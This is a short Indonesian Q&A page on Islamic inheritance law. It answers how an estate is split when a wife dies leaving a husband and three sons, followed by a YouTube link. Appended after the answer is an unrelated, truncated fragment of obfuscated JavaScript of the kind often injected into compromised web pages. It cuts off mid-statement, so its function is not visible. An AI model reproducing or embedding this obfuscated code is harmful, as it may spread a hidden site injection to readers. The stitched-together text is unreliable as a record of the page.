Fikih Quest 131: Hukum Waris untuk Suami
Pertanyaan: Bagaimana hukum waris jika istri yang meninggal, suami dan 3 orang anak laki-laki masih hidup? Jawaban: Dalam kasus seperti itu jika tidak ada keluarga lain yang masih hidup, seperti orang tua, maka suami mendapatkan 1/4 dari harta peninggalan istri dan sisanya adalah untuk anak-anak almarhumah. https://www.youtube.com/watch?v=ypscRguYnpA function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return